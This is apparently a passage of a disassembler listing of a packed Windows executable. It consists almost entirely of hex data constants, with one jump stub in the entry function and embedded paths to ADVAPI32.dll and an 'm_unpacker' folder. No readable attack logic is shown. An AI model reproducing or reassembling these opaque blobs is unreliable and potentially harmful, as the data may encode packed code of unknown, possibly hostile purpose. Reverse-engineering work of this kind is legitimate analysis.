		dd 0B4BCE5F6h, 1801ECFAh, 0C420CA18h, 75901521h, 380FA62h
		dd 0F19F8C3Bh, 96F042BCh, 0BA1826CAh, 0ACA9C276h, 0E484A8C3h
		dd 0D9FD0011h, 0CDFE137Bh, 0A90049F9h, 0B326559Eh, 0C7BF40EEh
		dd 4C2A87A1h, 43123C41h, 68204403h, 0F86B8FA5h,	460E0034h
		dd 6D7F64EBh, 3B004E8Dh, 511F979Eh, 15052571h, 0A8AA15F2h
		dd 32828001h, 47683DC0h, 0D9409093h, 21C0DD18h,	0B2F4F8A1h
		dd 37DA03E6h, 45AE3EBCh, 9E0C80A7h, 0A83040CFh,	1E5EC9D6h
		dd 0B5550060h, 0D59AD258h, 0AC52042Fh, 81C000F8h, 14711D3Ah
		dd 3D761C46h, 0A3E04037h, 0D3EE5712h, 59E6D100h, 0B7147038h
		dd 0F839C0DAh, 979394C0h, 4DE292Ch, 0E713A401h,	146167ABh
		dd 52A71E0h, 5257C2A9h,	96480039h, 0B50E6E4h, 0E58CBA15h
		dd 0B7D40194h, 0CA38FC3Dh, 7BA72980h, 13D186FEh, 1EE1DE00h
		dd 0B2CD70EEh, 12C50EAAh, 42416D53h, 0F8F007C9h, 0C8A6B53Ch
		dd 374DE44h, 0E986F1FFh, 2143AF40h, 2B0800A4h, 566E94D3h
		dd 88ED0046h, 0F091B15Dh, 0FF04C4A6h, 40711842h, 86B17C87h
		dd 5E209E96h, 0BA470414h, 0C04AC1C8h, 4D0B2BD5h, 0C0265AFEh
		dd 0A2008BFBh, 3F65777h, 0A79D0056h, 0AA8F58B9h, 0C3492097h
		dd 3F2B394Ch, 10D28B79h, 0D4E30073h, 1DCDF6E8h,	0C90BB766h
		dd 0E082F511h, 5025DF41h, 17948Ch, 0CDA325A6h, 742D096Bh
		dd 8B5DAD09h, 8254901Ah, 9A7B3B5Ch, 0C7B802F0h,	6887126Ch
		dd 9754D080h, 363A5F0Ah, 5CD2AC96h, 29CCA960h, 754B1DEEh
		dd 478C00C3h, 6A4F7A8Ah, 0E32E1600h, 825D305Ah,	20C018B8h
		dd 0DC5539BBh, 67AA8A01h, 0D003472Dh, 0A0A3F8h,	459F838h
		dd 8D24435h, 9E2A810Fh,	182F89AFh, 1CEAB228h, 0D4F76D91h
		dd 9700F14Ah, 0D1B81ABEh, 20B89892h, 666E4F09h,	1CA8987Fh
		dd 63800010h, 811AF873h, 5400611Dh, 0E1A8EF5Fh,	3C308B4h
		dd 5891CEC8h, 0EE801C02h, 0CB580E7Ch, 0BF208628h, 3D1600C1h
		dd 0FDBE74DBh, 120FC3F7h, 0A3B1E3C8h, 0E87F6131h, 0B9AD5523h
		dd 197080A4h, 2E3CFFDFh, 7A1A4403h, 0D8E15EBBh,	133B349h
		dd 76F208C9h, 0F42760A9h, 910CEED8h, 0C1C045C8h, 0F8A62E25h
		dd 0F20300FDh, 4AD5BFB1h, 8452053Fh, 21157E97h,	15F84C8h
		dd 3331741h, 0D96ACB31h, 30F450B9h, 0DB00326Fh,	1878DDCDh
		dd 0B2D94h, 12D3D2D6h, 0B34A2173h, 0C9360F00h, 0C0D4A54Ch
		dd 37741CAFh, 0C15D9Ch,	51EF5842h, 0E72919EEh, 4000B045h
		dd 94E424D0h, 1575009Fh, 72ADAFDBh, 0AB73C0A9h,	9833CA00h
		dd 0E96141EAh, 50B90E7Dh, 5AC47659h, 12C8141Bh,	0F000B33Fh
		dd 8556C24Fh, 133C022Ah, 4C84FB61h, 73E7D841h, 0EA51147Ch
		dd 44CF1D94h, 7ADB0762h, 23AF77CEh, 8B80F539h, 47002E58h
		dd 23A67D88h, 0A7DBAAh,	0B60B0860h, 0FD128DB4h,	6DAFF301h
		dd 11C9568Eh, 86005862h, 0B56C2E72h, 0C04455EEh, 0EC0F5415h
		dd 77750286h, 2DAB13BEh, 9C8E40E3h, 204D2614h, 9B5480C8h
		dd 46E7970h, 8796CD2Bh,	0E60CCBAh, 0A00F672h, 4FABA44Ch
		dd 0C21C12h, 0DF795CE5h, 8D45A87Bh, 0C470A70Bh,	61E09123h
		dd 24DF6CC0h, 63889FAh,	71BA223Ah, 0C5978B00h, 134B5563h
		dd 0FB850090h, 6874E678h, 1CB91D91h, 0C74A803Bh, 0FB435BA7h
		dd 825E0066h, 236D9CE2h, 0BE6F37A3h, 8E588029h,	9041FEE9h
		dd 99FB0F43h, 3120F248h, 733371E6h, 38207F26h, 6C6DD440h
		dd 4E340065h, 97A0BAAh,	0F307509Dh, 8E825370h, 57C43A40h
		dd 2227314h, 56B89EEAh,	1C5245EEh, 12258A00h, 69CDCFE2h
		dd 0FD1A007Ah, 0F7DC3E6Bh, 7626EE79h, 4860D0E6h, 748E45BDh
		dd 85910084h, 0C48C870Eh, 61090401h, 80BF1582h,	14311A0Ch
		dd 0C0CF247Eh, 41DC18D0h, 42008559h, 82E57BBBh,	7FCAEFF4h
		dd 3D1402F1h, 5D07CEAFh, 0B13C705Ah, 0E1CB3D6Ch, 4DCFC911h
		dd 1935820h, 46C70896h,	2258EEA7h, 4E101E6Ch, 29A66707h
		dd 8A6D4C20h, 29101E9h,	0E612B9B5h, 0FF6420C5h,	0D9BF1401h
		dd 0CDC15236h, 88F77C60h, 71D0CB39h, 819A00D4h,	36E8C83Dh
		dd 0A9F30548h, 0C66D5F7Ch, 150F90ABh, 311774h, 0A8699D33h
		dd 0BA1A2510h, 70C11C90h, 8011CB01h, 70E530Ah, 91C46161h
		dd 0B138FC9Ah, 2C6305B8h, 0B1B42017h, 89F21272h, 0BE715300h
		dd 62E969Ah, 245803AEh,	0BFB71EDAh, 3AF2A900h, 0DFD188Dh
		dd 0DE943D5Fh, 153900FFh, 29F07CBh, 385CB56Ah, 0FAA28030h
		dd 0CE35B7h, 2B1A07BBh,	49EA3D46h, 1C0855Ch, 0A98C710Eh
		dd 0DCD37B3Ch, 7A3858C1h, 504C1C70h, 23C39h, 8FA7BCFFh
		dd 0EB4715FCh, 69DC2A00h, 0DAA1C7B7h, 0D2F21058h, 241C80ABh
		dd 0F1C168h, 892B5008h,	717E81BBh, 0F98E8002h, 0C03D1299h
		dd 4C9FCCh, 8D748723h, 0ACCE22B1h, 4FBA18D8h, 4E18C0AFh
		dd 0E12329B4h, 56E02B50h, 26C30388h, 0BE1C0894h, 57C95481h
		dd 87F1AC1Bh, 0E672A89h, 0D87FF30h, 24E70729h, 10C5D6E2h
		dd 0B17F1D8Dh, 0B5B0D213h, 0A60AB01h, 0C430DEC1h, 30AD0EFAh
		dd 99E6FDAh, 3C208D4Eh,	6EA58C85h, 27B8F4Ch, 0B89DFF56h
		dd 0F71FE058h, 303809B2h, 0D44820BFh, 0BC002B49h, 5F8995C4h
		dd 31BDB9Eh, 0AB6E74A6h, 0ECE80DE0h, 3898AD3Bh,	0E81DA52Ch
		dd 0C2E25840h, 26AA1C61h, 4D5C948h, 3EBA8880h, 0F1E870Bh
		dd 0E7036E60h, 0C138E2h, 23AA6AF1h, 4C9B4A14h, 0A6775300h
		dd 70FD4E87h, 1E3F4F54h, 0FAB10020h, 0EC564142h, 2D0EB3F0h
		dd 4CEF4F36h, 7728118h,	744A863Eh, 0D0263071h, 1BF00E1Ch
		dd 33609600h, 93D366EFh, 0C37E0035h, 398C72F1h,	0AD02E9DDh
		dd 9F8E56B9h, 7EE852ABh, 7DD30095h, 98EB3EC6h, 0D15052BDh
		dd 0F200F39Ch, 54FE3D48h, 50658FB2h, 909DC0B0h,	0DE170050h
		dd 0B32E705Ch, 0DD0CE764h, 0B8BA09CFh, 8FA6018Dh, 13225593h
		dd 0A7ADC82Ah, 39041890h, 4E452ED2h, 68A61490h,	53FB02EFh
		dd 0CC07417Ah, 0DE8FC72h, 73F1FA45h, 0B8004C72h, 0A134B1CDh
		dd 0D424305Dh, 0E511F4D9h
		dd 0DC81107h, 65DDD12Dh, 23430C7h, 3EA58D02h, 0C6BFA6AAh
		dd 0F9B50154h, 66D4E131h, 3EC0404Bh, 17248FAFh,	64815C0Eh
		dd 2CC2010h, 0A16DDCh, 0EAA80C79h, 0FC572D69h, 58D3AC00h
		dd 80966EFAh, 0CF712E72h, 0C10D0FB7h, 0B2AEA380h, 0AC4C5E30h
		dd 2942290h, 0AF663C7Dh, 0E37D143Dh, 0D190F06h,	2861735h
		dd 0F92EB8C1h, 71408844h, 8D8E67h, 2C8A75C7h, 0D646DD24h
		dd 5C14E04h, 0F8C0B056h, 729B412Eh, 211B256Dh, 57235C20h
		dd 75EAD0C7h, 636F1617h, 5BC99300h, 0E49449h, 99AF8C1Ah
		dd 75A12526h, 2D1C9CF4h, 0A0A54A5Fh, 0BE229D8h,	0D951D8Fh
		dd 985E047Ah, 0D0A4C171h, 10729Fh, 0C8AFB31Ch, 90DC9134h
		dd 9EA1323Ch, 0E864AB04h, 81FD833Bh, 6E050E38h,	94D4F163h
		dd 9B8700CFh, 0B92D2066h, 430B3B2Ah, 106007ECh,	13E55644h
		dd 0D0208423h, 5E42764h, 0CD43FC00h, 0F3A22F60h, 74900309h
		dd 6FBE4542h, 4DEA5A0h,	8B1AF402h, 0C5F825C1h, 8A860030h
		dd 0DEAB6488h, 0F505FAE2h, 0A967C6BBh, 87EAFCC0h, 0F38E22C1h
		dd 0D1BA5003h, 0E0B8E255h, 112B537h, 828C60C5h,	30B99B6Fh
		dd 0F27322D0h, 36033CB9h, 0F0729EFCh, 3127D9A7h, 0DD51A5A0h
		dd 3784DC6Fh, 6DB8AF01h, 0C243EEC0h, 92153992h,	9E05C64h
		dd 0BF07FEAFh, 371D0A5Fh, 0D3B821F0h, 4CCF39C2h, 0B9FC5880h
		dd 0FB0FAFA2h, 275C0800h, 44F490Ch, 66053B14h, 0C9DC5F18h
		dd 2E00B282h, 6597DE77h, 7455685h, 0D338812Fh, 29486668h
		dd 0D26E07Dh, 0BA0602F2h, 0BE060FCh, 745111EAh,	0B7C500Fh
		dd 88984D3Bh, 0EF0EE7ECh, 4045B0CCh, 28D0BCBFh,	78B010Eh
		dd 7165F848h, 0FB489363h, 859E280Fh, 0C847D75Ah, 0C990FE4Fh
		dd 98A9B00Bh, 156F0134h, 0BDC13907h, 3FBC40E3h,	29F3C93Eh
		dd 0E500775Ch, 0E03D97Bh, 588CB8Dh, 78A5693h, 0BA5CC86Fh
		dd 0EF4D3D0Bh, 7254904Eh, 1D41252Ah, 6CB82420h,	390242E3h
		dd 0DCA30C9h, 3F68D1D0h, 0EA2917B5h, 5E70CAC7h,	0C825B6h
		dd 1F6BAB8Ch, 0EDCF32B9h, 0D41E4300h, 38AC72AFh, 7881C0BDh
		dd 28B446ADh, 31B58500h, 0C6C0051Fh, 1401017Dh,	49FD0FC5h
		dd 3100EB39h, 2E836696h, 0F7B3B6h, 2D6D29DBh, 0EF7E98CEh
		dd 0D7A43Eh, 0CC0B7041h, 0AA60F7h, 0A99D8DA3h, 0C31BEA42h
		dd 0C5E4CF12h, 0DAB00C01h, 0F98535C9h, 47574490h, 0C02791F0h
		dd 33C2A81Bh, 0EFFA7F76h, 0B4C09724h, 908E9D60h, 40FA026Ch
		dd 6070111Eh, 0FD001044h, 0F87A1338h, 7C3ACAAh,	153DB752h
		dd 35576029h, 0BA090FC2h, 9042EEE5h, 0A8B81848h, 7DAFC8DCh
		dd 77FE009Ch, 0DD1A26AEh, 86144A11h, 0F4B01Bh, 330FBA4Dh
		dd 15E2B723h, 0E054E642h, 0A4211684h, 5000E0DCh, 42A76753h
		dd 3E1F7FEEh, 0F101879Bh, 91D2B51Dh, 3921C529h,	40CB056Ch
		dd 0C180DE67h, 0F6D213h, 726127D3h, 9838DA68h, 78B11701h
		dd 2BCAA8E3h, 2C83D060h, 280D2A1h, 741435F0h, 0B678DF60h
		dd 0F1E7E37Ah, 0A9422095h, 98C5A203h, 909AD07Ah, 44E457h
		dd 27761321h, 0A82EC89Bh, 6149A00Fh, 19001D43h,	16A136F4h
		dd 0F24C2FB6h, 6B1839F0h, 1928DD62h, 22060026h,	812BAC65h
		dd 79016451h, 6F4FC498h, 519E01E3h, 782F01C9h, 60652387h
		dd 0B203C398h, 0F5BD4C64h, 0EA80855Ch, 1647BBh,	83A6547Fh
		dd 0E0995B41h, 0B7B95900h, 70713D98h, 0FC2A00B1h, 9CA26A6Eh
		dd 20004741h, 0E918D910h, 7EB4FE9Fh, 0D3990023h, 4AB5E581h
		dd 2F00B03Ch, 0FA13BE46h, 60C79B49h, 0AF979918h, 1967EFD9h
		dd 0E8B0B010h, 3A137660h, 5D009C91h, 0A65540B2h, 4A6FD9D0h
		dd 0B7436029h, 3AEFAE5h, 2927801Eh, 7BF06E0Bh, 0F173296h
		dd 80004B15h, 0EFFCE914h, 0BE3E51BFh, 0FE7900F7h, 4E4B93E8h
		dd 0A71ED0CFh, 0E9817E99h, 0CB9B3798h, 0BBFB1440h, 7E9AF68Fh
		dd 979200E3h, 525EA9D8h, 0FEF45A5Ch, 0B6A740h, 1FC72D9Bh
		dd 2614C975h, 73E84500h, 5F77BBF4h, 8BE20599h, 403A61B5h
		dd 45FB3DDCh, 4B3E59B6h, 0CDC58007h, 6BA52737h,	44DF00A1h
		dd 615D0ECBh, 0E60209CAh, 9655566Dh, 0FB0C498Ch, 88103371h
		dd 0F20B62h, 9C2E52B3h,	1C38AA21h, 9B0E4274h, 0C0C5EBFAh
		dd 0F280F735h, 464C33E1h, 99983038h, 6C300EC8h,	0FF10FA22h
		dd 0ABB700EBh, 2BA329F4h, 0BF0C2A64h, 793F6165h, 4B5B00ADh
		dd 6B48C3D8h, 0E80E6FA5h, 0C00AEE02h, 2237FA68h, 6399C03Eh
		dd 3951DE99h, 3D016B02h, 98B034A1h, 55B8F8h, 9AC842A2h
		dd 4CBE87EDh, 713C5D0Eh, 3ADE5D6Ah, 0FA214A80h,	0E26F95h
		dd 0A2F0F481h, 0BB29FB43h, 28259400h, 0B903D3B1h, 0D8D9C65Ah
		dd 9D006142h, 12DF216Ch, 6B5E20Ch, 0CC37CBBBh, 64242148h
		dd 0BF42A461h, 0DAAA8108h, 0B0235B16h, 5F38AE00h, 5206EE9h
		dd 8E74D560h, 6B9F0ECh,	0D39D2A6Dh, 9385153h, 0D62480E5h
		dd 0D82326F8h, 0D520EC6h, 30AA8506h, 20F828C0h,	0BF22EBDCh
		dd 0F97218h, 5C73BB2Eh,	3B6268B9h, 118681C0h, 722FDF3h
		dd 0C7023A2Bh, 80E290ACh, 0ED032F8Fh, 744EBF92h, 0FE31013Eh
		dd 0AB359910h, 0B245DCD5h, 0C7F68A03h, 0E8604047h, 10FC8CA9h
		dd 3CA12703h, 975394A8h, 10E32438h, 0BCF31A40h,	532004Fh
		dd 9C6A5226h, 9E98E1FCh, 7D6DF1C0h, 97B984h, 3E8690CDh
		dd 0FEB744F9h, 0E1E851E8h, 1C927478h, 0AB80306h, 0EE8309h
		dd 0E1B952FEh, 63301B0Dh, 0D70B4C0Fh, 0DCBEC0C9h, 126DEE3h
		dd 2103519Ah, 304E547Eh, 6300BB3Ch, 975EADF6h, 0CE52075h
		dd 550337E3h, 16541191h, 0CB0052A8h, 4607A534h,	1EE720h
		dd 3C714373h, 825E2AF2h, 4C9B513Ch, 0EEDBC044h,	5784D14h
		dd 0E3249C94h, 36844970h, 9292483h, 20FFD0A1h, 7C7AB59Bh
		dd 9B8E8613h, 821F9C13h, 0B8D06301h, 0BC320DDDh, 0B091F301h
		dd 0F81F579Ah, 5824BBBCh, 0D740DCD9h, 9D748Eh, 33B993ADh
		dd 95FC1E42h, 0E4E27501h, 6A023D32h, 171280F4h,	50A12AD4h
		dd 7E00E4ACh, 37F98393h, 51CF44B4h, 0D05DA0C9h,	48829ACFh
		dd 0C500C098h, 0D5F944A9h, 5F48712Ah, 6AB409C4h, 0FD400262h
		dd 427402A7h, 0B1F6D4A0h, 82003FB8h, 0F3872B1Bh, 24AC0896h
		dd 9CC2E58h, 1C21A2D9h,	0C830248Fh, 0F300E11Fh,	3BF71248h
		dd 28866F01h, 48D817A6h, 60391D4Fh, 0BA8EE005h,	81A8874Ah
		dd 8084E32Eh, 8BFD5A49h, 0AC82E9h, 6B2C2655h, 0B34D8357h
		dd 90DD7601h, 0D95EF021h, 62E900CFh, 0D0314A93h, 1A26A667h
		dd 0AD07711Eh, 511779C9h, 0E744C470h, 406958A7h, 807ABB1Fh
		dd 28353148h, 0B890BABFh, 919B74h, 0D916AB03h, 2D61003Dh
		dd 0FA289325h, 8C92B161h, 7EEE6000h, 872A7B13h,	337705A4h
		dd 80BE8D12h, 0D8896C74h, 79000499h, 38BF88E1h,	0BE2F0052h
		dd 9783EBBDh, 122892F4h, 0C81DCC2Bh, 750066D7h,	0FED920C6h
		dd 72C419A4h, 120498B2h, 0EC4461h, 0D3465857h, 0E15CBB78h
		dd 23B63000h, 0F7E84863h, 0D9521817h, 0B1A581ECh, 0C3F36F02h
		dd 0C2ACE084h, 712080E8h, 13DFB12h, 471FD805h, 8FAB9955h
		dd 972AAC61h, 0E820FA00h, 924DD985h, 517B0180h,	9E399522h
		dd 0A645D09Dh, 0A4A09C3Ch, 3F4720E2h, 869ADF90h, 76DAFCFEh
		dd 0A5AE0706h, 80B337ECh, 5328E452h, 8AE02B11h,	4222B100h
		dd 63088724h, 37008CB1h, 9EF879DFh, 0AE725034h,	0DE441C65h
		dd 590E800Ch, 0B17DCEA6h, 0E4223826h, 81976341h, 32406FD4h
		dd 82B937E1h, 1FDC7360h
		dd 0CED56907h, 0B1003666h, 4CB213B3h, 90505045h, 0F2A13995h
		dd 9239D29Dh, 218C16EDh, 3FAEC600h, 72500F87h, 0FE7F47Eh
		dd 0BBF93A50h, 299854C6h, 58281948h, 24512488h,	9FD69260h
		dd 9A241FB8h, 56AE007Dh, 15BDA28Eh, 0C3A439C2h,	40FE62F4h
		dd 9890AD54h, 73710928h, 2811BE42h, 3103C3E2h, 2D24A605h
		dd 3BE0F0FEh, 21740191h, 0CE29F510h, 39DAE704h,	799B80A0h
		dd 1D027586h, 0D0287072h, 37248711h, 30B2B80h, 2AEC0177h
		dd 7B2C3A90h, 9F63E074h, 6630490Bh, 0DC04805Bh,	0DBBCA28h
		dd 4A5FC3E1h, 2463E9h, 981E66E0h, 0F9FCB7Bh, 0F34568C5h
		dd 6EE42000h, 9728AE57h, 6C5190F2h, 7AE0307Ch, 7944CD3Eh
		dd 8A5BC901h, 4B02E99Fh, 3B433430h, 1217ED29h, 840B103Eh
		dd 0DC8F0388h, 7E89408Fh, 3F59E438h, 0F8019D0Dh, 1231282Dh
		dd 33298002h, 5980F36Dh, 239B4C10h, 341F3F1Fh, 0FD88051h
		dd 5407BA7Ch, 0E9984137h, 20C9B845h, 382F5FF0h,	0C205D7BBh
		dd 85FBE1AEh, 0F1E880D2h, 0A62537EDh, 0F04C1BD5h, 7AB0B9h
		dd 0F2ACA551h, 18E23153h, 0F3488200h, 0DF2B36DBh, 37F50058h
		dd 645B70F9h, 0BD035493h, 807C6555h, 9C2A4CEBh,	0FD7239C1h
		dd 130BC4C4h, 84325807h, 8A3F5263h, 0D80074E3h,	710CD2EDh
		dd 0B94001D3h, 0BD9BE4A5h, 8C218014h, 89E158C5h, 3CB0A059h
		dd 9491DCh, 9D0E2985h, 9C00D3AEh, 7DB32F5Eh, 18F7EB5h
		dd 0AF32969Fh, 0F89A1C61h, 84005191h, 48A1AB8Ah, 0B8769760h
		dd 75D00A2Ch, 4EF011A8h, 0B280A5EFh, 0E41C2B8h,	14FF4Dh
		dd 6DC3D64Dh, 1693C4Bh,	717A3AFDh, 2436620Ch, 0C0004CA4h
		dd 1C9C4DB6h, 0CEFF06h,	40B77857h, 5ECA842Dh, 468C3203h
		dd 0F06FA451h, 32032047h, 1C80B2C8h, 48463B20h,	364F139Ch
		dd 0D2B80744h, 22A672C3h, 423F8460h, 0FB120AF2h, 8C30B5EFh
		dd 3A2493BAh, 0AB806722h, 0FB40C050h, 527D92E6h, 0ADD02700h
		dd 0CC9A69A5h, 0CA640AC4h, 80A43EDEh, 0ADE58B9Fh, 0BC05FC83h
		dd 0F41D9789h, 3FC6BCC0h, 0B2210039h, 90D12657h, 0A4B12B03h
		dd 7BB34000h, 977EEB4h,	5AC3BBF4h, 26123481h, 0D4E6DE04h
		dd 9C54C901h, 2B15DB95h, 24EE52DCh, 1546675h, 0F58AD678h
		dd 7FCC22DEh, 537D500h,	0CBE873BFh, 0AFC050F0h,	7CC2589Bh
		dd 48709C80h, 11C008E3h, 0DB40B2B3h, 0FAC30019h, 1BE86D45h
		dd 0D10453B5h, 0DAE7F07Ch, 644200C0h, 9AE2037Eh, 55C43847h
		dd 21D6C2C0h, 6636D501h, 0E2C6E903h, 44C92C40h,	8419002Fh
		dd 1BAAE39Fh, 24F2D8BEh, 0A8697703h, 0EF403E1Eh, 75131CCh
		dd 7F30A5B5h, 540B6BACh, 0CCB15010h, 0C0E03C48h, 4C5F8CEDh
		dd 0EF390461h, 8CAB20FEh, 0D4007104h, 9C4755E3h, 2916387h
		dd 317009E8h, 464BE3Fh,	44F9E10Fh, 0E33522E9h, 66A0A056h
		dd 3573BC9h, 0D7239018h, 0A48807A5h, 0F026DE8Bh, 0EC1DBB98h
		dd 0D07818A8h, 0AC29C500h, 0A3FCCE65h, 3B4F0034h, 11928F0Bh
		dd 0FB044179h, 0C4486BECh, 4B404B0h, 8C554015h,	281901DDh
		dd 420D9DBh, 0A75A3F91h, 0D6BFC185h, 97FCC046h,	0C6309BD0h
		dd 29ECE11Ah, 0E18D0E93h, 52235BCBh, 84F56003h,	8124C48Eh
		dd 113F09A0h, 80178154h, 0EF06D24Bh, 0F8410E00h, 930CB518h
		dd 0CA210803h, 12801BE2h, 146A972Ch, 0B9961DB1h, 3EB4088Dh
		dd 289B548Ah, 3C20E316h, 0E0338B74h, 0A9C700AAh, 0EFAE7877h
		dd 0F5EE6DF0h, 45D39218h, 483541h, 6B794203h, 220DF270h
		dd 0A4928712h, 97E02002h, 846461h, 3E52EA04h, 0E2D3F3A1h
		dd 554EF61Ch, 48D87A8Ah, 0EA4DDD00h, 2837FB1Eh,	90CB8B1h
		dd 0D4525870h, 0D1D6D490h, 48316A13h, 1502A800h, 2F8C1Ch
		dd 0C0F6ADE3h, 0AB12EA5h, 410F3B30h, 3C524Ah, 0B7D54C60h
		dd 0F563A762h, 6C615A26h, 66B61980h, 7978F740h,	2C9A743Fh
		dd 0A646FFCh, 0ACD2C3h,	7C535FC8h, 3C9C8ED1h, 0D5117A40h
		dd 91B056h, 41D98066h, 0B00474B4h, 31035C0Ah, 2A82AC34h
		dd 51EA54B3h, 98F53D84h, 61F600C6h, 0BA51DAD3h,	5428677Bh
		dd 2CB04C99h, 857A1A04h, 0D0C8E33Bh, 2E6000F6h,	97E7D94Fh
		dd 8A1DCD32h, 0EA92DE40h, 616AF001h, 0D8304CA6h, 53602C72h
		dd 96550966h, 0A5775418h, 158FA4Dh, 0A22AD897h,	94475485h
		dd 0A10EB86h, 0CC41B45Fh, 0FFFF5F01h, 6Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_58663E:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_589ADB
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 0C8000000h, 0D00012FEh, 0B20Eh, 7 dup(0)
		dd 0E9000000h, 43E260h,	0C4000000h, 2 dup(0)
		dd 42000000h, 0B218h, 0
		dd 18000000h, 0C0A0h, 1000000h,	0Dh dup(0)
		dd 14000000h, 5BCAh, 3 dup(0)
		dd 0AD000000h, 0C7E41A8h, 0FFFF9Dh, 31h	dup(0)
		dd 18000000h, 1002Ah, 0
		dd 37000000h, 55F487h, 0
		dd 99h,	9 dup(0)
		dd 5B000000h, 0A476B44Eh, 540012FFh, 12FFh, 6 dup(0)
		dd 0CA000000h, 0E76DECh, 79000000h, 0FE7CA2h, 66000000h
		dd 0D46DCEh, 0CC000000h, 94FF457Dh, 7C90EBh, 2 dup(0)
		dd 0A4000000h, 5C3Bh, 2	dup(0)
		dd 8F000000h, 0F9A584h,	0BD000000h, 0FFFF8Eh, 5	dup(0)
		dd 5D000000h, 5D04h, 0
		dd 0E9000000h, 7994EDh,	9 dup(0)
		dd 0E7000000h, 77DDEBh,	91000000h, 631B94h, 0
		dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 39h dup(0)
		dd 3D000000h, 0BB9CCFh,	0E2000000h, 5FF1h, 2 dup(0)
		dd 0EC000000h, 0A7D3B1h, 15000000h, 1BFFFF11h, 77DFC4h
		dd 1B000000h, 7F6EDDh, 0
		dd 0DE000000h, 42005F7Dh, 25EA6h, 67h dup(0)
		dd 24000000h, 242424h, 94000000h, 0EBh,	94000000h, 7C90EBh
		dd 4 dup(0)
		dd 0BC000000h, 9F000000h, 0A4005CA5h, 3Bh, 4 dup(0)
		dd 2C000000h, 25500h, 0
		dd 26000000h, 3BE282h, 1Dh dup(0)
		dd 2000000h, 8,	0C2000000h, 82h, 9F000000h, 1Ch, 0F000000h
		dd 0B218h, 90000000h, 24h, 40000000h, 0ADh, 2 dup(0)
		dd 94000000h, 0B401E0EBh, 6 dup(0)
		dd 0DF000000h, 0A9C530h, 3 dup(0)
		dd 5100C200h, 7E0CE5h, 9 dup(0)
		dd 0F9000000h, 237C90DDh, 5C00h, 2 dup(0)
		dd 9C000000h, 8	dup(0)
		dd 0FC000000h, 0FFFFFFh, 0
		dd 9F000000h, 0B2FAh, 3	dup(0)
		dd 0F0000000h, 0B219h, 0
		dd 0CE000000h, 0Bh dup(0)
		dd 0D7000000h, 94EB46FAh, 7C90EBh, 0Eh dup(0)
		dd 51000000h, 47E0CE5h,	0FF000000h, 7FFFFFh, 10h dup(0)
		dd 43000000h, 5DEAh, 7 dup(0)
		dd 0B200h, 6 dup(0)
		dd 0DA000000h, 7C81CDh,	1Ah dup(0)
		dd 3000000h, 6800B2FAh,	1CFF46A3h, 912B66h, 5 dup(0)
		dd 24000000h, 1Ah, 8 dup(0)
		dd 18000000h, 0F000000h, 0B218h, 3 dup(0)
		dd 94000000h, 287C90EBh, 607Ah,	0BAh dup(0)
		dd 60000000h, 12FFh, 6 dup(0)
		dd 0BE000000h, 0FFA404h, 0
		dd 0BC000000h, 0FF9E5Eh, 0
		dd 3000000h, 0B2FAh, 5 dup(0)
		dd 11000000h, 7FFDFEh, 2 dup(0)
		dd 0F8000000h, 5CACh, 4F000000h, 0FFA20Dh, 54000000h, 12FFh
		dd 2 dup(0)
		dd 80000000h, 6, 3 dup(0)
		dd 21000000h, 212121h, 4 dup(0)
		dd 0E9000000h, 43000013h, 5F6D5C3Ah, 61706E75h,	72656B63h
		dd 7Ch dup(0)
		dd 2000000h, 0C5000008h, 5E31h,	11h dup(0)
		dd 0B1000000h, 0DC015h,	3 dup(0)
		dd 0B9000000h, 5C80h, 2	dup(0)
		dd 18000000h, 217C90EEh, 0CF005E83h, 0CE7C80B4h, 5D31h
		dd 11000000h, 111111h, 7 dup(0)
		dd 28000000h, 1448h, 0
		dd 0F4000000h, 5FB9h, 8	dup(0)
		dd 0D1000000h, 0B01147h, 87000000h, 1300587Eh, 0AEDA7Ah
		dd 3 dup(0)
		dd 21000000h, 70F4F2h, 2 dup(0)
		dd 0EF000000h, 0CDEA1Dh, 6 dup(0)
		dd 1000000h, 0EB000000h, 0A000004Bh, 7C80ADh, 2	dup(0)
		dd 0D7000000h, 58A8h, 0
		dd 42000000h, 0C696FBh,	2 dup(0)
		dd 94000000h, 7C90EBh, 0Ah dup(0)
		align 10h
		dd 76F212h, 84000000h, 33E5F6h,	4 dup(0)
		dd 98000000h, 0E9000000h, 0FFA4C4h, 0Dh	dup(0)
		dd 0EC000000h, 0B237h, 0Eh dup(0)
		dd 0A9000000h, 2300A900h, 3 dup(0)
		dd 7C9000h, 0D1000000h,	337h, 4	dup(0)
		dd 94000000h, 7C90EBh, 88h dup(0)
		dd 74000000h, 5B3Eh, 48000000h,	7, 2 dup(0)
		align 10h
		dd 0AF26E689h, 6129h, 0D6000000h, 0A6h,	1000000h, 0
		dd 0AD000000h, 0D6A0D6h, 0
		dd 0E6000000h, 90000000h, 6C76F217h, 836F14h, 2	dup(0)
		dd 54027100h, 12FFh, 77000000h,	387C810Ah, 1Ah,	0
		dd 0D0000000h, 106982h,	2 dup(0)
		dd 18000000h, 0A07C90EEh, 0DF909Bh, 0
		dd 2D000000h, 94005F77h, 7C90EBh, 2 dup(0)
		dd 94000000h, 7C90EBh, 22000000h, 0C910A2h, 4 dup(0)
		dd 20000000h, 0B219h, 3	dup(0)
		dd 4000000h, 3 dup(0)
		dd 97000000h, 5C3Dh, 5 dup(0)
		dd 0E5000000h, 0FEFFA35Bh, 0FFFFF7h, 3 dup(0)
		dd 45000000h, 5B99h, 0E000000h,	0BB0Bh,	0
		dd 54000000h, 12FFh, 5 dup(0)
		dd 74000000h, 83CCF1h, 4 dup(0)
		dd 4000000h, 0
		dd 0AA000000h, 74BF3Fh,	80000000h, 0DD2714h, 0
		dd 0F000000h, 1704A7h, 0
		dd 24000000h, 7C801Ah, 9 dup(0)
		dd 37000000h, 0B2FAh, 0
		dd 18000000h, 0B229h, 0
		dd 0CC000000h, 6 dup(0)
		dd 99000000h, 71DDFh, 9	dup(0)
		dd 73000000h, 5C60h, 94000000h,	7C90EBh, 4 dup(0)
		dd 44000000h, 0C246DAh,	0
		dd 1A00h, 4 dup(0)
		dd 0F7000000h, 51FFFFECh, 0B28Eh, 0
		dd 0A7000000h, 5E9Eh, 2	dup(0)
		dd 0A1000000h, 7C80BAh,	5D000000h, 32597Fh, 2 dup(0)
